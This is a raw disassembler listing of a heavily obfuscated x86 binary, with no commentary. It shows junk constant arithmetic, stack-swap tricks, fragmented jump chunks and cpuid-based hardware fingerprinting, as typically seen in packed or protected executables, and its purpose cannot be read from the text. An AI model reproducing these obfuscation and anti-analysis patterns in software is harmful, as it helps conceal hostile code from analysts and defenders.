; FUNCTION CHUNK AT 00429BC9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429DBA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429FD5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AAA7 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0042AF9A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042B75E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042BC85 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042BE13 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042C2E5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CAD7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CFB3 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0042DA57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DFB8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042EE70 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042F083 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042F6E9 SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		pop	ebp
		mov	eax, ds:dword_42E548
		or	eax, eax
		jnz	loc_426493
		jmp	loc_427450
sub_423172	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_42DF90
; ---------------------------------------------------------------------------
		push	865BB9E6h
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		jmp	loc_4258D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42319F:				; CODE XREF: sub_423648+10j
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_427D73
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		jmp	loc_426E60
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------

locret_4231B6:				; CODE XREF: _7hdaygc1:loc_42A0FFj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FAB8


loc_4231B7:				; CODE XREF: sub_42FAB8+11j
		jmp	loc_4240F3
; END OF FUNCTION CHUNK	FOR sub_42FAB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E32F


loc_4231BC:				; CODE XREF: sub_42E32F+12j
		jmp	nullsub_217
; END OF FUNCTION CHUNK	FOR sub_42E32F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_4231C1:				; CODE XREF: sub_423DFC+8FF6j
		jmp	loc_427EA3
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_4231C6:				; CODE XREF: sub_42AA07-36ADj
		jmp	loc_4231EF
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
		pop	ecx
		call	sub_428C3B
		xor	edx, edx
		push	offset loc_423C69
		jmp	loc_424FE0
; ---------------------------------------------------------------------------

locret_4231DD:				; CODE XREF: _7hdaygc1:0042423Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_4231DE:				; CODE XREF: sub_4232DA:loc_424266j
					; sub_4232DA+F9Fj
		sub	ebx, 551D846Ch
		cmp	ebx, 55813C09h
		jmp	loc_429787
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_4231EF:				; CODE XREF: sub_42AA07:loc_4231C6j
		jge	loc_423B34


loc_4231F5:				; CODE XREF: _7hdaygc1:00424092j
		jmp	sub_42828C
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
		adc	ebp, edi
		jmp	loc_423B33
; ---------------------------------------------------------------------------


loc_423201:				; CODE XREF: _7hdaygc1:0042FD5Dj
		js	loc_426792
		xor	esi, 0A4AE4D30h
		xchg	ebp, ecx
		jmp	loc_42A9D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_423214:				; CODE XREF: sub_423172+BF29j
		pop	eax
		jb	loc_4289A1
		xor	esi, ebx
		jmp	loc_42CFB3
; END OF FUNCTION CHUNK	FOR sub_423172
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_423223:				; CODE XREF: _7hdaygc1:loc_42383Ej
		jnz	loc_42CF98
		jmp	loc_4239BF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A92E


loc_42322F:				; CODE XREF: sub_42A92E+4493j
		jmp	loc_42CA83
; END OF FUNCTION CHUNK	FOR sub_42A92E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282A9


loc_423234:				; CODE XREF: sub_4282A9+32C4j
		jmp	loc_428FBD
; END OF FUNCTION CHUNK	FOR sub_4282A9
; ---------------------------------------------------------------------------


loc_423239:				; CODE XREF: _7hdaygc1:00426CF3j
		jz	loc_42CAFC
		jmp	loc_42B1D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FAB8


loc_423244:				; CODE XREF: sub_42FAB8-B9AEj
		add	edx, 0BD631EF2h
		mov	[edx], eax
		pop	edx
		call	sub_42B14C
; END OF FUNCTION CHUNK	FOR sub_42FAB8
; START	OF FUNCTION CHUNK FOR sub_425522


loc_423252:				; CODE XREF: sub_425522+5j
		push	68BA13B2h
		pop	esi
		sub	esi, 98DB1574h
		and	esi, 125B1D09h
		rol	esi, 10h
		jmp	loc_425851
; END OF FUNCTION CHUNK	FOR sub_425522
; ---------------------------------------------------------------------------


loc_42326C:				; CODE XREF: _7hdaygc1:loc_4270C9j
					; _7hdaygc1:0042DBCBj
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	eax
		mov	[ebp-4], eax
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42327A:				; CODE XREF: _7hdaygc1:00428662j
					; sub_4291EA+447Fj ...
		dec	ds:dword_42B9A0
		jmp	loc_428409
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42986C


loc_423285:				; CODE XREF: sub_42986C:loc_429F29j
		pop	edi
		xor	edi, 0A32E647Dh
		cmp	edi, 0A675D99h
		jmp	loc_42D00E
; END OF FUNCTION CHUNK	FOR sub_42986C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_423297:				; CODE XREF: sub_42EBD6-6080j
		shl	edi, 3


loc_42329A:				; CODE XREF: sub_42EBD6:loc_423464j
		mov	eax, 1
		xor	edx, edx
		cpuid
		and	eax, 0FFFh
		add	[esi], eax
		call	sub_428556


loc_4232AF:				; DATA XREF: sub_429A26+4C3Fo
		add	ecx, ebp
		add	ecx, 0F5F75D15h
		push	offset loc_4234DC
		jmp	nullsub_160
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------


loc_4232C1:				; CODE XREF: _7hdaygc1:0042539Bj
		popf

; =============== S U B	R O U T	I N E =======================================



sub_4232C2	proc near		; CODE XREF: _7hdaygc1:0042310Dp

; FUNCTION CHUNK AT 00423B13 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424C74 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00428637 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B305 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042B7E9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042B9FB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D3E8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D434 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042E25A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E676 SIZE 00000019 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		and	eax, 0FFFh
		add	[esi], eax
		and	edx, 0FFFFDDFFh
		xor	[esi], edx
		jmp	loc_424C74
sub_4232C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4232DA	proc near		; CODE XREF: sub_42C443:loc_424AA3j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004231DE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00424063 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004241E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424266 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00427288 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427CA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428137 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042970D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00429787 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00429BBD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042BA64 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042BF5B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042C65E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D42F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DA8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FC73 SIZE 00000011 BYTES

		push	ebx
		push	0A108E2BEh
		xchg	ebp, [esp+8+var_8]
		mov	ebx, ebp
		pop	ebp
		xor	ebx, 466B83Ch
		add	ebx, 9683F324h
		test	ebx, 800h
		jmp	loc_424266
sub_4232DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	[ecx], ebp
		jmp	sub_42A473
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_423304:				; CODE XREF: sub_42AA9B-107Aj
		jz	loc_42ED1A
		jmp	loc_428983
; END OF FUNCTION CHUNK	FOR sub_42AA9B
; ---------------------------------------------------------------------------
		adc	ecx, 0AA68487Ah
		jmp	sub_424588
; ---------------------------------------------------------------------------


loc_42331A:				; DATA XREF: sub_42DBAE+Ao
		xchg	edx, [esp]
		mov	eax, [ebp-4]
		push	offset loc_42EC0A
		jmp	locret_42735F
; ---------------------------------------------------------------------------


loc_42332A:				; DATA XREF: sub_42F65A:loc_4248FCo
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42DE2A
		jmp	loc_42E588
; ---------------------------------------------------------------------------
		push	160765EBh
		jmp	loc_42380F
; ---------------------------------------------------------------------------
		xor	esi, 95A29294h
		add	edi, ebx
		jmp	sub_42C119
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4CE


loc_423350:				; CODE XREF: sub_42F4CE:loc_42F8B4j
		and	edi, 0E41047DDh
		rol	ecx, 10h
		jmp	loc_428ADB
; END OF FUNCTION CHUNK	FOR sub_42F4CE
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_426D10
; ---------------------------------------------------------------------------


loc_423364:				; DATA XREF: sub_4246D7:loc_424DD9o
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_42F411
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		jmp	loc_428048
; ---------------------------------------------------------------------------


loc_423380:				; CODE XREF: _7hdaygc1:loc_42FD62j
		test	ecx, 256FAA7Eh
		jmp	loc_42FB7E
; ---------------------------------------------------------------------------


loc_42338B:				; CODE XREF: _7hdaygc1:00423FD7j
		xchg	eax, [esp]
		call	sub_424F3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C26B


loc_423393:				; CODE XREF: sub_42C26B-411Cj
		jmp	loc_4261C9
; END OF FUNCTION CHUNK	FOR sub_42C26B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_423398:				; CODE XREF: sub_42B74A-5018j
		jno	loc_424F43
		or	ebx, esi
		jmp	loc_4244D7
; END OF FUNCTION CHUNK	FOR sub_42B74A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_4233A5:				; CODE XREF: sub_42AA9B-210Ej
		cmp	ecx, 81B47707h
		jmp	loc_42ED11
; END OF FUNCTION CHUNK	FOR sub_42AA9B
; ---------------------------------------------------------------------------


loc_4233B0:				; DATA XREF: sub_42A4C2+12o
		mov	eax, [eax]
		xor	edx, edx
		add	eax, [esp]
		adc	edx, [esp+4]
		add	esp, 8
		xor	eax, [esp]
		jmp	loc_42D679
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8C4


loc_4233C6:				; CODE XREF: sub_42F8C4-60D1j
		push	7332BFF3h
		pop	edi
		or	edi, 26F92683h
		xor	edi, 923A5829h
		sub	edi, 0B7DDE877h
		add	edi, 0F914D808h
		jmp	loc_42C87E
; END OF FUNCTION CHUNK	FOR sub_42F8C4
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, eax
		push	offset loc_427E60
		jmp	loc_429081
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D3F2


loc_4233F6:				; CODE XREF: sub_42D3F2+14j
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		xchg	esi, [esp+0]
		mov	ecx, esi
		pop	esi
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_42D3F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB24


loc_423406:				; CODE XREF: sub_42EB24-5CA4j
		jmp	loc_42B5BD
; END OF FUNCTION CHUNK	FOR sub_42EB24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42340B:				; CODE XREF: sub_42C443-3C9Dj
		jmp	loc_42D88A
; END OF FUNCTION CHUNK	FOR sub_42C443

; =============== S U B	R O U T	I N E =======================================



sub_423410	proc near		; CODE XREF: sub_42D3F2+3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423DBE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042472D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042489A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00424CEC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424FF6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00426340 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004269DB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00427F54 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00429917 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042A3F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D81A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DACA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E583 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_42D81A
sub_423410	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_423416:				; CODE XREF: _7hdaygc1:loc_429FDBj
		retn
; ---------------------------------------------------------------------------


loc_423417:				; DATA XREF: _7hdaygc1:0042E9FDo
		xchg	edi, [esp]
		jmp	loc_42F94C
; ---------------------------------------------------------------------------
		push	6385BF2Ah
		pop	edx
		xor	edx, 0DA33377Bh
		rol	edx, 0Ah
		jmp	loc_423532
; ---------------------------------------------------------------------------


loc_423433:				; DATA XREF: sub_42F7E6:loc_42CD3Fo
		xchg	ecx, [esp]
		push	ecx
		ror	ebp, 10h
		jmp	loc_42B69A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42343F:				; CODE XREF: sub_426130+13j
		xor	edi, 9D7CBA93h
		sub	edi, 991703D5h
		add	edi, 0ECA7B4E3h
		and	edi, 243C913Ah
		xor	edi, 13644CF9h
		add	edi, ebp
		jmp	loc_425712
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_423464:				; CODE XREF: sub_42EBD6:loc_42847Aj
		jz	loc_42329A
		jmp	loc_423CA6
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42346F:				; CODE XREF: sub_42AA47:loc_424D04j
					; _7hdaygc1:00429654j
		add	edi, 0E601BD5Fh
		xor	edi, 0A59E46D4h
		add	eax, edi
		pop	edi
		mov	eax, [eax]
		mov	byte ptr [eax],	0
		jmp	loc_42BFB9
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_423488:				; CODE XREF: sub_425C3B+5DEj
		jbe	loc_42E08C
; END OF FUNCTION CHUNK	FOR sub_425C3B

; =============== S U B	R O U T	I N E =======================================



sub_42348E	proc near		; CODE XREF: sub_423A7D+10p

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		add	ebx, 8B2DFB97h
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_42312E
sub_42348E	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B470


loc_4234A1:				; CODE XREF: sub_42B470:loc_4262AAj
		jz	sub_42F56C
		jmp	loc_42E89C
; END OF FUNCTION CHUNK	FOR sub_42B470
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8DB


loc_4234AC:				; CODE XREF: sub_42F8DB-BAAFj
		cpuid
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		mov	eax, 80000003h
		xor	ebx, ebx
		jmp	loc_42DAD4
; END OF FUNCTION CHUNK	FOR sub_42F8DB
; ---------------------------------------------------------------------------


loc_4234C2:				; CODE XREF: _7hdaygc1:0042B3F3j
		sub	eax, 2298B355h
		rol	eax, 0Bh
		xor	eax, 5F65A772h
		popf
		push	offset sub_425C5F
		jmp	locret_42DC62
; ---------------------------------------------------------------------------


loc_4234DC:				; DATA XREF: sub_42EBD6-B91Fo
		mov	ecx, [ecx]
		xor	eax, ecx
		pop	ecx
		mov	word ptr [eax],	205Dh
		push	edi
		push	20F806A2h
		jmp	loc_428D30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F075


loc_4234F1:				; CODE XREF: sub_42F075:loc_425F81j
					; _7hdaygc1:0042D723j
		mov	eax, [ebp-18h]
		add	eax, eax
		cdq
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		jmp	loc_4262C4
; END OF FUNCTION CHUNK	FOR sub_42F075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFBC


loc_42350C:				; CODE XREF: sub_42EFBC-4C79j
		jz	loc_42366D
; END OF FUNCTION CHUNK	FOR sub_42EFBC
; START	OF FUNCTION CHUNK FOR sub_42C209


loc_423512:				; CODE XREF: sub_42C209-8366j
		jmp	loc_42F204
; END OF FUNCTION CHUNK	FOR sub_42C209
; ---------------------------------------------------------------------------
		not	esi
		jmp	loc_423668
; ---------------------------------------------------------------------------


loc_42351E:				; DATA XREF: sub_429412+315Fo
		mov	ebx, [ebx]
		add	eax, ebx
		pop	ebx
		call	sub_42BD51
; START	OF FUNCTION CHUNK FOR sub_42DA74


loc_423528:				; CODE XREF: sub_42DA74+13j
		jmp	loc_42E221
; END OF FUNCTION CHUNK	FOR sub_42DA74
; ---------------------------------------------------------------------------


loc_42352D:				; CODE XREF: _7hdaygc1:00423A2Aj
		jmp	loc_42FBDB
; ---------------------------------------------------------------------------


loc_423532:				; CODE XREF: _7hdaygc1:0042342Ej
		jmp	loc_42B12D
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		mov	ecx, edi
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_42353D:				; CODE XREF: sub_425F27:loc_42EA3Fj
		pop	ecx
		jmp	loc_42568C
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
		or	ebx, 0DF9DA996h
		shl	esi, 1
		jmp	sub_425182
; ---------------------------------------------------------------------------


loc_423550:				; CODE XREF: _7hdaygc1:0042B7C8j
		sub	ebp, 5D86F6FFh
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_423557:				; CODE XREF: sub_424AE1:loc_42B7BBj
		or	eax, 7029D178h
		add	eax, 0E9E51394h
		add	eax, ebp
		push	offset sub_428593
		jmp	loc_42DB8C
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
		jg	loc_429E63
		jmp	sub_429412
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E254


loc_42357A:				; CODE XREF: sub_42E254:loc_427E2Cj
		push	offset loc_428066


loc_42357F:				; CODE XREF: sub_42DD73:loc_4273F4j
		jmp	loc_429059
; END OF FUNCTION CHUNK	FOR sub_42E254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425647


loc_423584:				; CODE XREF: sub_425647:loc_42E5E0j
		call	sub_42EA6A
; END OF FUNCTION CHUNK	FOR sub_425647
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F789


loc_42358A:				; CODE XREF: sub_42F789+Dj
		jmp	loc_425060
; END OF FUNCTION CHUNK	FOR sub_42F789
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42358F:				; CODE XREF: sub_42C443+2FEEj
					; _7hdaygc1:0042FBFEj
		jmp	loc_424EDA
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F05E


loc_423594:				; CODE XREF: sub_42F05E+11j
		jmp	loc_427405
; END OF FUNCTION CHUNK	FOR sub_42F05E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFBC


loc_423599:				; CODE XREF: sub_42EFBC+Ej
		jmp	loc_42A32E
; END OF FUNCTION CHUNK	FOR sub_42EFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291A3


loc_42359E:				; CODE XREF: sub_4291A3+1Aj
		jmp	loc_4265C3
; END OF FUNCTION CHUNK	FOR sub_4291A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42512A


loc_4235A3:				; CODE XREF: sub_42512A+8j
		jmp	loc_428391
; END OF FUNCTION CHUNK	FOR sub_42512A
; ---------------------------------------------------------------------------


loc_4235A8:				; CODE XREF: _7hdaygc1:0042C487j
		jl	loc_42BF22
		adc	edi, 0D7E7F5C3h
		sbb	edx, 4DD9B571h
		jb	loc_425AD6
; START	OF FUNCTION CHUNK FOR sub_426130


loc_4235C0:				; CODE XREF: sub_426130:loc_42C46Cj
		add	edx, 0C14AC2F2h
		xchg	edx, [esp+0]
		jmp	sub_428E56
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------


loc_4235CE:				; CODE XREF: _7hdaygc1:loc_42FBE7j
		popf
		jmp	loc_42ACF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD11


loc_4235D4:				; CODE XREF: sub_42FD11:loc_425E5Fj
		push	eax
		push	0
		push	0
		mov	eax, [ebp-4]
		push	eax


loc_4235DD:				; CODE XREF: sub_42809F:loc_42AD9Bj
		push	0
		push	esi
		push	59956185h
		jmp	loc_424CC8
; END OF FUNCTION CHUNK	FOR sub_42FD11
; ---------------------------------------------------------------------------


loc_4235EA:				; CODE XREF: _7hdaygc1:0042EE1Cj
		or	edi, 50DCC5DAh
		shr	edx, 0Ah
		jmp	loc_4247CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423812


loc_4235F8:				; CODE XREF: _7hdaygc1:loc_4246D1j
					; sub_423812+18FCj
		jge	loc_429FB3
; END OF FUNCTION CHUNK	FOR sub_423812
; START	OF FUNCTION CHUNK FOR sub_426EBD


loc_4235FE:				; CODE XREF: sub_426EBD+4F39j
		jmp	loc_42E466
; END OF FUNCTION CHUNK	FOR sub_426EBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A4C2


loc_423603:				; CODE XREF: sub_42A4C2+17j
		jmp	nullsub_32
; END OF FUNCTION CHUNK	FOR sub_42A4C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_423608:				; CODE XREF: sub_42C16F-32DEj
		jmp	loc_428A8E
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
		sbb	edi, 9C069E16h
		adc	ebp, ecx
		jmp	loc_429FB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42361A:				; CODE XREF: sub_423648+673Ej
		jz	loc_42362D
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_42F7BE
		pop	ecx
		mov	[ebp-20h], eax


loc_42362D:				; CODE XREF: sub_423648:loc_42361Aj
					; sub_423648+6722j ...
		js	loc_423BE3
		test	byte ptr [ebp-7], 8
		jmp	loc_42840E
; END OF FUNCTION CHUNK	FOR sub_423648
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425459


loc_42363D:				; CODE XREF: sub_425459+Ej
		jmp	sub_42828C
; END OF FUNCTION CHUNK	FOR sub_425459
; ---------------------------------------------------------------------------


loc_423642:				; CODE XREF: _7hdaygc1:00424865j
		jnp	loc_4256FA

; =============== S U B	R O U T	I N E =======================================



sub_423648	proc near		; CODE XREF: sub_42CFDA:loc_429571p

; FUNCTION CHUNK AT 0042319F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042361A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00423BDA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00423F99 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004243D5 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 004257CD SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00426E60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426E7B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00427D73 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004282FD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042840E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00428B85 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004290B7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429D66 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042B09C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B23F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042BA1B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042CA45 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042CADC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D10C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042D2E2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D637 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0042D7CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EC57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F13C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F373 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FA78 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042FB1C SIZE 0000001E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jnz	loc_4243DF


loc_423652:				; CODE XREF: sub_423648+D91j
					; sub_423648+9FF3j
		js	loc_4257D5
		jmp	loc_42319F
sub_423648	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423A6D


loc_42365D:				; CODE XREF: sub_423A6D:loc_427076j
		pop	eax
		push	offset loc_425072
		jmp	loc_425119
; END OF FUNCTION CHUNK	FOR sub_423A6D
; ---------------------------------------------------------------------------


loc_423668:				; CODE XREF: _7hdaygc1:00423519j
		mov	edi, [eax]
		shr	eax, 6
; START	OF FUNCTION CHUNK FOR sub_42EFBC


loc_42366D:				; CODE XREF: sub_42EFBC:loc_42350Cj
		sub	eax, 8E8F2CD6h
		add	eax, 0BB46EF06h
		add	eax, ebp
		push	edi
		jmp	loc_428943
; END OF FUNCTION CHUNK	FOR sub_42EFBC
; ---------------------------------------------------------------------------


loc_423681:				; CODE XREF: _7hdaygc1:loc_42DAC5j
		push	offset loc_42DFFC
		jmp	locret_42AD8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42368B:				; CODE XREF: sub_423172:loc_428D52j
		pop	ebx
		add	ebx, ds:4000F4h
		test	ebx, 10h
		jmp	loc_426B80
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------

locret_42369D:				; CODE XREF: _7hdaygc1:00426691j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427EF6


loc_42369E:				; CODE XREF: sub_427EF6+6954j
		pop	eax
		pop	esi
		pop	ecx
		pop	ebx
